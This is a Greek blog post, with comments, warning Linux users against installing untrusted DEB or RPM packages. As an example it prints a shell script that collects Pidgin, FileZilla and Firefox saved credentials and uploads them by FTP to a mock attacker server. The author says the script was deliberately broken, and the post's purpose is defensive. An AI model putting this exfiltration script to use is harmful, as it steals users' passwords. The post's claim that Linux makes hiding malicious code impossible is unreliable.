Προσοχή: Μην κατεβάζετε προγράμματα DEB, RPM ή SRC αυθαίρετα.

Γιατί δεν πρέπει να κάνετε εγκατάσταση πακέτα DEB, RPM ή SRC από άγνωστες πηγές

Η ασφάλεια του λειτουργικού συστήματος Linux είναι αδιαμφισβήτητη. Έχει ευρεία χρήση σε όλους τους τομείς τις βιομηχανίας και τα τελευταία χρόνια έχει σταδιακά “εισβάλει” στα κινητά μας (Android απορίες και συσκευές). Σταδιακά, αν όχι ως αποκλειστικό λειτουργικό, αλλά ως dual boot βρίσκεται σε εκατοντάδες εκατ. υπολογιστών ανά το κόσμο.

Η ανοιχτή φύση του Linux αλλά και η αρχιτεκτονική του δεν αποτελεί προσοδοφόρο έδαφος για την ανάπτυξη ιών, σκουληκιών και πάσης φύσεως κακόβουλου λογισμικού. Από την μία επειδή πολλά μάτια βλέπουν τον κώδικα του που είναι διαθέσιμος για να το κατεβάσει ο καθένας, είναι αδύνατο να κρύψει κάποιος κακόβουλο κώδικα. Από την άλλη επειδή ο χρήστης και τα προγράμματα που τρέχουμε εκτελούνται με ελάχιστα διακαιώματα και πάντα υπό την επιτήρηση του πυρήνα (Linux) και του ανοσοποιητικού συστήματος που διαθέτει (AppArmor και SELinux), είναι αδύνατο κάποιο πρόγραμμα να πάρει την “πρωτοβουλία” και να διαλύει το σύστημά μας.

Όμως υπάρχει πάντα μια κερκόπορτα. Αυτή η κερκόπορτα είναι ο εφησυχασμός που όχι άδικα μας δίνει η ασφάλεια του Linux. Μόλις ολοκληρώσετε την ανάγνωση του κειμένου θα καταλάβετε τι θέλω να πω.

Λίγη θεωρία…

Όταν οι διανομές Linux πριν 10-15 χρόνια είχαν δημιουργήσει τα αποθετήρια (αποθήκες) προγραμμάτων από τα οποία μπορούσε ο χρήστης με ένα κλικ στο Κέντρο Λογισμικού της διανομής του να κάνει εγκατάσταση όποιο πρόγραμμα θέλει, σε άλλα λειτουργικά συστήματα έπρεπε ή μάλλον ακόμα πρέπει ο χρήστης να αναζητάει τα προγράμματά του στο internet και συνήθως σε αμφιβόλου ασφάλειας ιστοσελίδες. Το πλεονέκτημα αυτού του τρόπου διανομής λογισμικού αντιλήφθηκαν οι εταιρίες όπως Nokia (OviStore), Google, (Android Market), Apple (App Store) και ενσωμάτωσαν στις συσκευές τους.

Η ασφάλεια που παρέχει αυτό το σύστημα διανομής λογισμικού έγκειται στο ότι τα προγράμματα που βρίσκονται στα αποθετήρια είναι ψηφιακά υπογεγραμμένα από τους δημιουργούς αυτών των προγραμμάτων. Άρα όταν πηγαίνετε στο Κέντρο Λογισμικού για να κατεβάσετε κάποιο πρόγραμμα εκτελούνται η εξής διεργασίες χωρίς να το αντιληφθείτε:

  • Κάνετε κλικ για εγκατάσταση κάποιου προγράμματος.
  • Το σύστημα ελέγχει να δει αν έχει την ψηφιακή υπογραφή του αποθετηρίου
  • Κατεβάζει το πρόγραμμα
  • Ελέγχει την ακεραιότητα του προγράμματος
  • Συγκρίνει την υπογραφή που διαθέτει το πρόγραμμα με αυτό που έχει το σύστημά σας
  • Τέλος αν όλα είναι σωστά προχωράει στην εγκατάστασή του

Με αυτό τον τρόπο ελέγχου, δεν μπορεί κάποιος κακόβουλος να ενσωματώσει κάποιον περίεργο κώδικα, σε πρόγραμμα που δεν του ανήκει. Επομένως μπορείτε να είστε σίγουροι ότι το πρόγραμμα που κάνετε εγκατάστασή δεν έχει υποστεί κάποια αλλοίωση στο αποθετήριο του.

Stupid Script Kiddies…

Τα πράγματα γίνονται αμφίβολα όταν κατεβάζετε προγράμματα από ξένες πηγές εκτός αποθετηρίων και του Κέντρου Λογισμικού της διανομής σας όπως απο forum, απο “φίλους”, απο siteς και διάφορα άλλα link που θα βρείτε στην πορεία. Βλέπετε ένα από τα πιο δυνατά στοιχεία του Linux είναι και η αχείλια πτέρνα του. Μα μιλάω για την bash scripting, γλώσσα προγραμματισμού. Είναι αυτή η μαγική γλώσσα προγραμματισμού που την μαθαίνεις σε μια μέρα και για όλη σου τη ζωή ψάχνεις να δεις που σταματάνε οι δυνατότητές του.

Θα γίνω ποιο συγκεκριμένος παίρνοντας παράδειγμα από ένα πρόγραμμα που έχω φτιάξει και μπορεί να το χρησιμοποιείτε χωρίς να το ξέρετε. Μιλάω για το uCareSystem το οποίο χρησιμοποιείται για να κατεβάζει, να κάνει εγκατάστασή τις αναβαθμίσεις του συστήματος, να διαγράφει τα προσωρινά αρχεία που έχει κατεβάσει, να καθαρίζει το σύστημα σας από σκουπίδια και να βελτιστοποιεί την μνήμη RAM. Το πρόγραμμα αυτό από την πρώτη του έκδοση το έχουν κατεβάσει συνολικά πάνω από 10.000 φορές. Είναι απόλυτα ασφαλές και μόνο εγώ έχω πρόσβαση στο αποθετήριο όπου ανεβάζω τον κώδικά του. Ο χρήστης που το κατεβάζει εκτός του ότι εμπιστεύεται εμένα προσωπικά στο ότι δεν έχω προσθέσει κακόβουλο κώδικα μέσα στο πρόγραμμα, έχει την απόλυτη ευχέρεια να δει των κώδικά του και να ελέγξει αν πάει κάτι στραβά.

Γιατί όμως δίνω το παράδειγμα του δικού μου προγράμματος; Μα πολύ απλά διότι το uCareSystem είναι ένα απλό script που το μόνο που κάνει είναι να εκτελεί μια σειρά εντολών που είναι μέρος του λειτουργικού συστήματος. Όταν τρέχετε το πρόγραμμα, σας ζητάει το password σας και έτσι οι εντολές που τρέχει είναι σε επίπεδο “υπερχρήστη” με πλήρη δικαιώματα να τροποποιεί τα αρχεία συστήματος. Αν λοιπόν δεν το κατεβάσετε από το δικό μου αποθετήριο και το βρείτε από κάπου αλλού σε κάποιο περίεργο forum δεν πρέπει να το κατεβάσετε διότι κάποιος κακόβουλος μπορεί να το έχει ανοίξει και να του έχει προσθέσει κακόβουλο κώδικα να το ξαναπακετάρει και να σας το δώσει. Σε αυτή την περίπτωση αν χρησιμοποιείστε τότε την πατήσατε.

Όπως αντιλαμβάνεστε, ούτε κάποιο antivirus μπορεί να αντιληφθεί τη ζημιά που πρόκειται να υποστεί το σύστημά σας αλλά ούτε και το ίδιο το Linux. Όλα αυτά γιατί το πρόγραμμα περιέχει κακόβουλο κώδικα και τρέχει με δικαιώματα υπερχρήστη.

hackety-hack-kid

Για να μην λέμε μόνο θεωρίες θα σας δώσω ένα απλό ψευδο-κώδικα. Έστω κατεβάσατε ένα πρόγραμμα που βρήκατε σε κάποιο forum ή blog και θέλετε να το εγκαταστήσετε. Για ευκολία ο δημιουργός του προγράμματος παρέχει το πρόγραμμα υπό μορφή DEB, RPM για να είναι εύκολη η εγκατάσταση του σε διανομές Ubuntu, Fedora, SuSe κλπ. Όταν κάνετε διπλό κλικ για να το εγκαταστήσετε σας ζητάει το password σας και μετά γίνεται εγκατάσταση φυσιολογικά. Μάλιστα το ίδιο το πρόγραμμα είναι πολύ καλό και το χρησιμοποιείτε κάθε μέρα. Η ζημιά όμως που κάνατε στο σύστημά σας ούτε που το αντιληφθήκατε διότι το ίδιο το πρόγραμμα δεν είναι κακόβουλο αλλά περιείχε κώδικα ο οποίος εκτελέστηκε μία φορά κατά τη διάρκεια της εγκατάστασης. Αυτή τη στιγμή έχει μαζέψει πάσης λογής ευαίσθητα προσωπικά δεδομένα και τα έχει στείλει σε απομακρυσμένο ftp server που ανήκει σε κάποιον κακόβουλο χρήστη.

Ο κώδικας που έτρεξε είναι ο παρακάτω:

#!/bin/sh
cp /home/*/.purple/accounts.xml /etc/
cp /home/*/.filezilla/sitemanager.xml /etc/
cd /home/*/.mozilla/firefox/*.default/ /etc/
cp key3.db signons* /etc/
cd /etc/
tar -zcf $$.tar.gz key3.db signons* accounts.xml sitemanager.xml
echo "ftp -n ftp.ServerTouMalaka.net << EOT
ascii
user vlakas@ ftp.OserverTouMalaka.net hlithios
put $$.tar.gz
close
bye" >/etc/thnpatises.sh
chmod 777 thnpatises.sh
chmod +x thnpatises.sh
/etc/thnpatises.sh &
sleep 3
wget -q http://OserverTouMalaka.net/index.php&
exit

Έχω τροποποιήσει των κώδικα για να μην είναι λειτουργικός ώστε κάποια πιτσιρίκια αλλά και μεγάλοι που το παίζουν βλάκερ να μην μπορέσουν να το χρησιμοποιήσουν. Όμως όσοι αναγνώστες είναι γνώστες του Bash Scripting διαβάζοντας τον παραπάνω κώδικα θα καταλάβουν περίπου τι προσπαθεί να κάνει.

Πως μπορείτε να προστατευτείτε όσοι δεν θέλετε να μάθετε scripting (πραγματικά μαθαίνεται σε μια μέρα);

  1. Να μην προσθέτετε ανεπίσημα αποθετήρια πακέτων, αν δεν είστε σίγουροι ότι το άτομο που το παρέχει είναι έμπιστο
  2. Να μην κατεβάζετε και να μην εγκαταστήσετε πακέτα από ιστοσελίδες που δεν είναι έμπιστες.
  3. Για να εγκαταστήσετε κάποιο πρόγραμμα πρώτα αναζητήστε στο Κέντρο Λογισμικού της διανομής σας.
  4. Πάντα να ελέγχετε τις εντολές που σας προτείνουν να τρέξετε και οι οποίες περιέχουν “sudo” η “su”

Ευτυχώς μπορείτε πάντα πριν να κάνετε διπλό κλικ σε κάποιο πακέτο για εγκατάσταση να το αποσυμπιέσετε και να δείτε αν ο κώδικάς του περιέχει κάτι περίεργο… Αν πάλι για κάτι δεν είστε σίγουροι εδώ είμαστε να λύσουμε απορίες.

19 thoughts on “Προσοχή: Μην κατεβάζετε προγράμματα DEB, RPM ή SRC αυθαίρετα.

  1. Πολύ καλό, αρκετά ενδιαφέρον! Μιας κ αναφέρθηκε, scripting από που μπορεί κανείς να μάθει;

  2. "να το αποσυμπιέσετε και να δείτε αν ο κώδικάς του περιέχει κάτι περίεργο…"

    αυτό άλλωστε είναι κάτι που μπορούν να κάνουν όλοι οι χρήστες εύκολα και γρήγορα… εξάλλου είναι γνωστό ότι οι βλάκερ που λες γράφουν κάτι τεράστια σχόλια μέσα στον κώδικα του τύπου "This function attempts to steel your private data, compile and run safely, discretion is my second name."
    Αλλά ακόμα και αν δεν το έχουν γράψει αυτό οι επιτήδιοι -don't worry- μπορείς πολύ εύκολα να μάθεις c/c++, python, java και όλα τα αντίστοιχα framework μαζί με bash programming και τις βασικές αρχές του filesystem απλά για να τρέξεις μια μαλακία που αλλάζει wallpaper… είναι πραγματικά τόσο απλό να αναλύεις χιλιάδες γραμμές κώδικα για μια εφαρμογή που ενώνει pdf… κτλ κτλ… απορώ ποιός δεν το κάνει…

  3. βαλε scripting στο google και θα βρεις απειρες πηγες.
    συνηθισμενο scripting για κακοβουλο λογισμικο ειναι και το javascript που κατεβαινει απο ιστοσελιδες και κανει τον browser να τρεχει επιπλεον λειτουργιες (αλλα μην ανησυχεις, στο Λινουξ δεν εχεις τετοιο κενο που να αφηνει τους browser να κανουν ζημια).
    γελασα πολυ με τον "σερβερ του μα…."

  4. Πρεπει να μαθουμε οπωσδηποτε bash scripting δε γινετε αλιως γιατι και να το αποσυμπιεσω με το archive mounter δεν θα καταλαβω τιποτα!! κανα μαθημα απο δω(εστω τα πολυ βασικα) γινετε να γινει?

    • Νίκο, ναι ίσως μπορεί να γίνουν κάποια βασικά θέματα bash scripting που τουλάχιστον θα μπορείτε να διαβάζεται και να καταλαβαίνετε τι γράφει και τι κάνει ένας κώδικας script.

  5. Ρε παιδιά μην λέτε ψάξτε στο google! Για να ψάξεις πρέπει να ξέρεις και 2 πράγματα. Εγώ ας πούμε δεν ξέρω εάν: scripting εννοούμε javascript? Μεταξύ τους τα script languages έχουν κοινά χαρακτηριστικά? Ποια είναι η πιο εύκολη, ποια είναι η πιο διαδεδομένη. Τα scripts που χρησιμοποιούνται μέσα από κάποια προγράμματα για να προσθέσουν λειτουργίες που δεν έχει το πρόγραμμα από την μαμά, είναι το ίδιο πράγμα? Συγκεκριμένα αναφέρομαι σε maya/rhino κ.τ.λ. Άμα ξέρετε πείτε μας σας παρακαλώ!

    • Στο άρθρο αναφέρομε για την Bash Scripting. Είναι η πιο συνηθισμένη και γρήγορη στη μάθηση γλώσσα και την χρησιμοποιούν διαχειριστές δικτύου και συστημάτων κλπ. για να αυτοματοποιούν διεργασίες του συστήματός τους. Εγώ προσωπικά έμαθα από εδώ :http://linuxcommand.org/ σε πάει βήμα βήμα… μην βιάζεστε… πρέπει να έχετε υπομονή.

  6. παιδιά και εγώ ψάχνω για tutorial scripting είχα ασχοληθεί και παλαιότερα λίγο με pascal και python(δε μου άρεσε καθόλου). Απλός θέλω να φτιάχνω κάνα script πχ όταν κάνω εγκατάσταση νέα διανομή να κατεβάζει και να κάνει εγκατάσταση κάποια προγράμματα που θέλω χωρίς να τα κάνω εγώ ξεχωριστά.

    • Φίλε Ορέστη, όταν διάβασα την απάντησή σου σκέφτηκα να σου δώσω την λύση γι αυτό που θες να φτιάξεις… αλλά είπα καλύτερα να σκαλίσει μόνος του το μυαλό του. Πραγματικά η λύση είναι 2-3 γραμμές κώδικα, αποτελείτε απο εντολές που χρησιμοποιείς στο τερματικό σου…. απλά πρέπει να τα βάλεις σε σειρά😛
      Αν θες μπορείς να ξεκινήσεις μαθαίνοντας bash scripting απο εδώ: http://linuxcommand.org

  7. Κάπου είχα διαβάσει παλιά πως μπορεί κάποιος να κάνει reset τον λογαριασμό σου χρησιμοποιόντας το grub μενου και κανοντας επεξεργασία ώστε να τρέξει το bash  , ισχύει ακόμα αυτό?
    Θέλω να πω πως αν έχει πρόσβαση στον υπολογιστή μου κάποιος μπορεί να σπάσει τους κωδικούς χρήστη που έχω?? 

    • Αν έχει φυσική πρόσβαση στο σύστημά σου μπορεί.
      Αν δεν έχει φυσική πρόσβαση Πάλι μπορεί και δεν πα να έχεις την καλύτερη ασφάλεια που έχεις στήσει στο σύστημά σου. Αν για παράδειγμα σου δώσω π.χ. ένα πακέτο deb με ένα πρόγραμμα που ας πούμε το έψαχνες, μπορώ μέσα σε αυτό το πακέτο να κρύψω ένα bashscript. Εσύ που θα πας να το εγκαταστήσεις το πρόγραμμα τι θα κάνεις ? Διπλό κλικ, θα δώσεις τον κωδικό σου ως διαχειριστής και χωρίς να αντιληφθείς θα έχεις εγκαταστήσει ένα κακόβουλο script στο σύστημά σου με το οποίο μπορώ να ανοίξω ένα λογαριασμό  χρήστη με δικαιώματα Admin και να είμαι παράλληλα συνδεδεμένος στο σύστημά σου😉 Cooool ha ???

      • Δεν χρειάζεται να το… κρύψεις. Σε όλες τις διανομές υπάρχουν scripts πριν ή μετά την εγκατάσταση ενός πακέτου, τα οποία τρέχουν με δικαιώματα root. Απλά μπορούν να μπουν σε αυτά οι εντολές που θέλει κάποιος.
        Τα rpm έχουν την δυνατότητα να ενσωματώσουν ψηφιακές υπογραφές και έτσι μπορεί να γίνει και άλλος έλεγχος εκτός από το να δεις τα περιεχόμενα του πακέτου.
        Σε κάθε περίπτωση είναι καλό να προτρέπουμε τους δημιουργούς scripts/προγραμμάτων είτε να προσπαθούν να τα βάλουν (ακολουθώντας την σχετική διαδικασία) στα επίσημα repo των διανομών, είτε αν το πρώτο δεν είναι εφικτό, τουλάχιστον να τα συνοδεύουν με ψηφιακές υπογραφές…

        • Ναι εκτός τα αρχεία ελέγχου επιλεκτικά μπορείς να έχεις και σκριπτακια μετά και πριν την εγκατάσταση όπως βλέπουμε πολλές φορές όταν κάνουμε εγκαταστάσεις deb.
          Αυτό το ξέρω αλλά λέμε σε περιπτώσεις που δεν πέφτουμε σε τέτοιες χαζομάρες.
          Στα windows πχ με ένα cdακι με linux το ophcrack σου πέρνει όλους τους λογαρισμούς χρηστών σε δυο λεπτάκια.

        • Αν κάποιος έχει πρόσβαση (φυσική) στο pc σου μπορεί απλά να διαβάσει το αρχείο που περιέχει τα hashes των κωδικών σου (/etc/shadow) και να δοκιμάσει να βρει ποιοί είναι οι κωδικοί. Αν δεν έχει τεράστια υπολογιστική ισχύ και πάρα πολύ χρόνο δεν θα καταφέρει και πολλά πράγματα, καθώς οι αλγοριθμοί  που χρησιμοποιούν οι περισσότερες διανομές  είναι αρκετά δυνατοί (είναι τεράστια συζήτηση, ας μείνουμε σε αυτά…).
          Ένας καλός τρόπος να προστατευθείς από κάτι τέτοιο είναι να κρυπτογραφήσεις τον δίσκο σου – προσφέρεται σαν επιλογή κατά την εγκατάσταση στις περισσότερες διανομές.
          Όσο για το αν ισχύει αυτό που είχες διαβάσει… δοκίμασέ το στο pc σου🙂

Απορίες, παρατηρήσεις, ιδέες... Ελεύθερα ! Πες την άποψή σου... έστω και Ανώνυμα:

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s